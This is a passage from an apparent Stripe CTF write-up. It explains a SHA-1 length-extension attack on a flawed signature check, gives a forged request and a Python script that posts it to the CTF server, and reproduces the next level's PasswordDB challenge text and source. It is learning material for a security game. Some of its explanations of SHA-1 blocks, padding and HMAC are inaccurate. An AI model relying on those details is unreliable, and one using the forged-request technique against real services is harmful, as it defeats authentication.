And if you provide user_id as 1 (a premium user), you would get:
<blockquote>
<pre>signature check failed</pre>
</blockquote>
This means that the system uses some sort of Message Authentication Control (aka signature) to validate it&#8217;s source. Now every user has a secret key used to sign his requests and make a signature, so that the server could verify it. The server uses the following code to validate the signature:
<pre>def verify_signature(user_id, sig, raw_params):
    # get secret token for user_id
    try:
        row = g.db.select_one('users', {'id': user_id})
    except db.NotFound:
        raise BadSignature('no such user_id')
    secret = str(row['secret'])

    h = hashlib.sha1()
    h.update(secret + raw_params)
    print 'computed signature', h.hexdigest(), 'for body', repr(raw_params)
    if h.hexdigest() != sig:
        raise BadSignature('signature does not match')
    return True</pre>
It retrieves user&#8217;s secret from the database, generates sha1(secret + raw_params) and compares it against the sent signature. raw_params is also the part of the request before the | sign (the whole request without the signature).

If two signatures match, it&#8217;s authentic, otherwise error is popped. Now this mechanism is called <a title="Hash-based message authentication code" href="https://en.wikipedia.org/wiki/HMAC" target="_blank">HMAC</a> but it is wrongly implemented. Read <a href="https://en.wikipedia.org/wiki/HMAC#Design_principles" target="_blank">this section</a> of wikipedia to know why you should use SHA1(secret + SHA1(secret+message)) instead of what is happening in this one.

I&#8217;m going to describe it here as well, since this is the key to the challenge. A cryptographic hash function is a state machine, fed with some initial values (defined in the description of algorithm), then the data is chunked into same-size blocks and fed to the machine. SHA-1 for example operates on chunks of 160 bit each, so if our input is not a multiple of 20 bytes, it will be padded with zeroes to be so. The SHA1 machine is depicted below:

<a href="https://en.wikipedia.org/wiki/Sha1"><img class="aligncenter" title="SHA1 Diagram" src="https://upload.wikimedia.org/wikipedia/commons/thumb/e/e2/SHA-1.svg/300px-SHA-1.svg.png" alt="SHA1 Diagram" width="300" height="312" /></a>

&nbsp;

Now what if we had two pieces of data, C and B, each exactly 20 bytes, and we had C=SHA1(A), without actually having A itself, and what we wanted was SHA1(A+B) (plus means concatenation here)? We don&#8217;t have A so we can&#8217;t first compute A+B and then SHA1 it, but couldn&#8217;t we get the final result some other way?

We definitely could, since when we SHA1(A+B), the algorithm first operates on the first 20 bytes, and then continues to do so on second 20 bytes. Now C is the result of first 20 bytes, we just have to keep the machine in that state (instead of the initial state) and feed it with B, to get SHA1(A+B) without having A.

This idea is known as a Hash Length Extension Attack, and works the same even if our data is not exactly a multiple of 20 bytes (we just have to pad zeroes).

&nbsp;

Now what I want to add is <strong>&amp;user_id=1&amp;waffle=liege&amp;</strong> to the end of <strong>raw_params</strong> so that these new values overwrite the previous ones, thus making the whole request be:
<blockquote>count=1&amp;lat=100&amp;user_id=5&amp;long=100&amp;waffle=eggo&amp;user_id=1&amp;waffle=liege&amp;|sig:</blockquote>
Why wouldn&#8217;t I just replace them? Because I can only compute the new signature if I concatenate new things to the request, not when I change it. Now using the idea above and some piece of code, the new request would be:
<blockquote>count=10&amp;lat=37.351&amp;user_id=1&amp;long=-119.827&amp;waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&amp;waffle=liege|sig:5fe73d0cbd3b4e82f9b87970041851d232e757cd</blockquote>
Those \x00 above mean a character with the ASCII value of zero, and since I can not show them on terminal, I used the following Python code snippet to send this request to server:
<blockquote>import requests

import hashlib

import json

import sys

import urllib body=&#8221;count=10&amp;lat=37.351&amp;user_id=1&amp;long=-119.827&amp;waffle=eggo\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02(&amp;waffle=liege|sig:5fe73d0cbd3b4e82f9b87970041851d232e757cd&#8221;;

resp= requests.post(&#8220;https://level07-2.stripe-ctf.com/user-cyusirmzyz/orders&#8221;,data=body);

print resp.text;</blockquote>
This nice little code would output the flag for the next challenge!

<!--more-->
<h3><strong>Challenge 8 &#8211; Networking Side Channel Attack</strong></h3>
<strong> </strong>

You completed this level in 98035.439 seconds. The password was<code>165774000681</code>.

The solution you submitted was:

<code>took a looong time! lots of scripts all there on server2</code>

<hr />

Welcome to the final level, Level 8.

HINT 1: No, really, we&#8217;re not looking for a timing attack.

HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output?

UPDATE: If you push the reset button, you will be bounced to a new<code>level08</code> machine. Note that this will change the value of your Flag. If you push reset on Level 2, you will similarly be bounced to a new Level 2 machine.

Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You&#8217;ve recently learned that the Flag itself is protected in a PasswordDB instance, accesible at<strong><a href="https://level08-4.stripe-ctf.com/user-stsqneospz/" target="_blank">https://level08-4.stripe-ctf.com/user-stsqneospz/</a></strong>.

PasswordDB exposes a simple JSON API. You just <code>POST</code> a payload of the form <code>{"password": "password-to-check", "webhooks": ["mysite.com:3000", ...]}</code> to PasswordDB, which will respond with a<code>{"success": true}"</code> or <code>{"success": false}"</code> to you and your specified webhook endpoints.

(For example, try running <code>curl https://level08-4.stripe-ctf.com/user-stsqneospz/ -d '{"password": "password-to-check", "webhooks": []}'</code>.)

In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers&#8217; respective existences. Instead, the password is &#8220;chunked&#8221; across multiple processes, called &#8220;chunk servers&#8221;. These may live on the same machine as the HTTP-accepting &#8220;primary server&#8221;, or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).

As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other <code>stripe-ctf.com</code> servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It&#8217;s almost like someone on the inside is helping you — there&#8217;s an <a href="http://linux.about.com/od/commands/l/blcmdl8_sshd.htm">sshd</a> running on the Level 2 server as well.)

To maximize adoption, usability is also a goal of PasswordDB. Hence a launcher script, <code>password_db_launcher</code>, has been created for the express purpose of securing the Flag. It validates that your password looks like a valid Flag and automatically spins up 4 chunk servers and a primary server.

You can obtain the code for PasswordDB from <code>git clone https://level08-4.stripe-ctf.com/user-stsqneospz/level08-code</code>, or simply read the source below.

The contents of <code>password_db_launcher</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/8#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/8#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/8#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/8#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/8#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/8#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/8#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/8#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/8#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/8#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/8#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/8#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/8#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/8#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/8#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/8#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/8#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/8#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/8#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/8#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/8#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/8#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/8#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/8#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/8#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/8#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/8#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/8#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/8#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/8#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/8#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/8#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/8#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/8#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/8#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/8#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/8#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/8#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/8#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/8#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/8#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/8#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/8#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/8#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/8#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/8#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/8#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/8#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/8#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/8#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/8#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/8#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/8#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/8#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/8#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/8#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/8#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/8#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/8#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/8#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/8#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/8#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/8#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/8#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/8#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/8#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/8#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/8#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/8#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/8#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/8#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/8#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/8#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/8#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/8#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/8#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/8#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/8#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/8#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/8#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/8#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/8#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/8#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/8#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/8#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/8#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/8#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/8#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/8#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/8#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/8#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/8#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/8#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/8#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/8#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/8#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/8#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/8#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/8#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/8#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/8#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/8#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/8#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/8#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/8#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/8#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/8#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/8#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/8#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/8#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/8#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/8#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/8#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/8#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/8#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/8#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/8#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/8#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/8#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/8#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/8#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/8#n122"></a>122
<a name="n123" href="https://stripe-ctf.com/levels/8#n123"></a>123
<a name="n124" href="https://stripe-ctf.com/levels/8#n124"></a>124
<a name="n125" href="https://stripe-ctf.com/levels/8#n125"></a>125
<a name="n126" href="https://stripe-ctf.com/levels/8#n126"></a>126
<a name="n127" href="https://stripe-ctf.com/levels/8#n127"></a>127
<a name="n128" href="https://stripe-ctf.com/levels/8#n128"></a>128
<a name="n129" href="https://stripe-ctf.com/levels/8#n129"></a>129
<strong><a name="n130" href="https://stripe-ctf.com/levels/8#n130"></a>130</strong>
<a name="n131" href="https://stripe-ctf.com/levels/8#n131"></a>131
<a name="n132" href="https://stripe-ctf.com/levels/8#n132"></a>132
<a name="n133" href="https://stripe-ctf.com/levels/8#n133"></a>133
<a name="n134" href="https://stripe-ctf.com/levels/8#n134"></a>134
<a name="n135" href="https://stripe-ctf.com/levels/8#n135"></a>135
<a name="n136" href="https://stripe-ctf.com/levels/8#n136"></a>136
<a name="n137" href="https://stripe-ctf.com/levels/8#n137"></a>137
<a name="n138" href="https://stripe-ctf.com/levels/8#n138"></a>138
<a name="n139" href="https://stripe-ctf.com/levels/8#n139"></a>139
<strong><a name="n140" href="https://stripe-ctf.com/levels/8#n140"></a>140</strong>
<a name="n141" href="https://stripe-ctf.com/levels/8#n141"></a>141
<a name="n142" href="https://stripe-ctf.com/levels/8#n142"></a>142
<a name="n143" href="https://stripe-ctf.com/levels/8#n143"></a>143
<a name="n144" href="https://stripe-ctf.com/levels/8#n144"></a>144
<a name="n145" href="https://stripe-ctf.com/levels/8#n145"></a>145
<a name="n146" href="https://stripe-ctf.com/levels/8#n146"></a>146
<a name="n147" href="https://stripe-ctf.com/levels/8#n147"></a>147</pre>
</td>
<td>
<pre>#!/usr/bin/env python
import atexit
import logging
import optparse
import os
import os.path
import random
import re
import signal
import socket
import subprocess
import sys
import time

import common

logger = logging.getLogger('password_db')
logger.addHandler(logging.StreamHandler(sys.stderr))

processes = []

def launch(script, *args):
    path = os.path.join(os.path.dirname(__file__), script)
    args = [path] + list(args)
    launched = subprocess.Popen(args)
    logger.info('Launched %r (pid %d)' % (args, launched.pid))
    processes.append(launched)
    return launched

def nukeChildren():
    logger.info('Killing all remaining children')
    for process in processes:
        try:
            os.kill(process.pid, signal.SIGTERM)
        except OSError:
            pass
        else:
            logger.info('Killed child %s' % process.pid)

def waitChildren():
    os.wait()

def passwordSpecToPassword(password_spec):
    if password_spec and password_spec[0] == '@':
        password_file = password_spec[1:]
        logger.info('Reading password from %s' % password_file)
        return open(password_file).read()
    else:
        return password_spec

def validatePassword(password):
    if not re.search('^\d{12}$', password):
        raise ValueError("Invalid password! The Flag is a 12-digit number.")

def socket_exists(host, port):
    logger.info('Checking whether %s:%s is reachable' % (host, port))
    try:
        socket.create_connection([host, port])
    except socket.error:
        return False
    else:
        return True

def find_open_port(base_port):
    while socket_exists('127.0.0.1', base_port):
        base_port += 1
    return base_port

def wait_until(condition, *args):
    for i in xrange(10):
        if condition(*args):
            return
        else:
            logger.info('Condition not yet true, waiting 0.35 seconds'
                        ' (try %s/%s)' % (i+1, 10))
            time.sleep(0.35)
    raise RuntimeError('Timed out waiting for condition')

def main():
    """
    Spins up a secure configuration of PasswordDB:

    - Uses 4 chunk servers
    - Validates that the Flag itself looks correct
    """

    usage = """%prog [-q ...] &lt;password_spec&gt; &lt;primary_address&gt;

primary_address should be of the form 'host:port' or 'unix:/path/to/socket'"""
    parser = optparse.OptionParser(usage)
    parser.add_option('-q', '--quiet', help='Quietness of debugging output.',
                      dest='quiet', action='count', default=0)
    opts, args = parser.parse_args()
    if not opts.quiet:
        logger.setLevel(logging.DEBUG)
    elif opts.quiet == 1:
        logger.setLevel(logging.INFO)
    elif opts.quiet &gt;= 2:
        logger.setLevel(logging.WARN)

    if len(args) != 2:
        parser.print_usage()
        return 1

    password_spec = args[0]
    primary_host_spec = args[1]

    atexit.register(nukeChildren)

    password = passwordSpecToPassword(password_spec)
    validatePassword(password)

    chunk_count = 4
    chunks = common.chunkPassword(chunk_count, password)

    base_port = random.randint(1024, 20000)
    chunk_hosts = []
    for i in xrange(chunk_count):
        port = find_open_port(base_port)
        base_port = port + 1
        chunk_hosts.append(['127.0.0.1', port])

    for host_port, password_chunk in zip(chunk_hosts, chunks):
        host, port = host_port
        launch('chunk_server', '%s:%s' % (host, port), password_chunk)

    time.sleep(0.35)

    # Make sure everything is booted before starting the primary server
    for host_port in chunk_hosts:
        host, port = host_port
        wait_until(socket_exists, host, port)

    args = []
    args.append('-l')
    args.append('/tmp/primary.lock')
    for host, port in chunk_hosts:
        args.append('-c')
        args.append('%s:%s' % (host, port))
    args.append(primary_host_spec)
    launch('primary_server', *args)

    waitChildren()
    return 0

if __name__ == '__main__':
    sys.exit(main())</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>primary_server</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/8#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/8#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/8#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/8#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/8#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/8#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/8#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/8#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/8#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/8#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/8#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/8#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/8#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/8#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/8#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/8#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/8#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/8#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/8#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/8#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/8#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/8#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/8#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/8#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/8#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/8#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/8#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/8#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/8#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/8#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/8#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/8#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/8#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/8#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/8#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/8#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/8#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/8#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/8#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/8#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/8#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/8#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/8#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/8#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/8#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/8#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/8#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/8#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/8#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/8#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/8#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/8#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/8#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/8#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/8#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/8#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/8#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/8#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/8#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/8#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/8#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/8#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/8#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/8#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/8#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/8#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/8#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/8#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/8#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/8#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/8#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/8#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/8#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/8#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/8#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/8#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/8#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/8#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/8#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/8#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/8#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/8#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/8#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/8#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/8#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/8#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/8#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/8#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/8#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/8#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/8#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/8#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/8#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/8#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/8#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/8#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/8#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/8#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/8#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/8#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/8#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/8#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/8#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/8#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/8#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/8#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/8#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/8#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/8#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/8#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/8#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/8#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/8#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/8#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/8#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/8#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/8#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/8#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/8#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/8#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/8#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/8#n122"></a>122
<a name="n123" href="https://stripe-ctf.com/levels/8#n123"></a>123
<a name="n124" href="https://stripe-ctf.com/levels/8#n124"></a>124
<a name="n125" href="https://stripe-ctf.com/levels/8#n125"></a>125
<a name="n126" href="https://stripe-ctf.com/levels/8#n126"></a>126
<a name="n127" href="https://stripe-ctf.com/levels/8#n127"></a>127
<a name="n128" href="https://stripe-ctf.com/levels/8#n128"></a>128
<a name="n129" href="https://stripe-ctf.com/levels/8#n129"></a>129
<strong><a name="n130" href="https://stripe-ctf.com/levels/8#n130"></a>130</strong>
<a name="n131" href="https://stripe-ctf.com/levels/8#n131"></a>131
<a name="n132" href="https://stripe-ctf.com/levels/8#n132"></a>132
<a name="n133" href="https://stripe-ctf.com/levels/8#n133"></a>133
<a name="n134" href="https://stripe-ctf.com/levels/8#n134"></a>134
<a name="n135" href="https://stripe-ctf.com/levels/8#n135"></a>135
<a name="n136" href="https://stripe-ctf.com/levels/8#n136"></a>136
<a name="n137" href="https://stripe-ctf.com/levels/8#n137"></a>137
<a name="n138" href="https://stripe-ctf.com/levels/8#n138"></a>138
<a name="n139" href="https://stripe-ctf.com/levels/8#n139"></a>139
<strong><a name="n140" href="https://stripe-ctf.com/levels/8#n140"></a>140</strong>
<a name="n141" href="https://stripe-ctf.com/levels/8#n141"></a>141
<a name="n142" href="https://stripe-ctf.com/levels/8#n142"></a>142
<a name="n143" href="https://stripe-ctf.com/levels/8#n143"></a>143
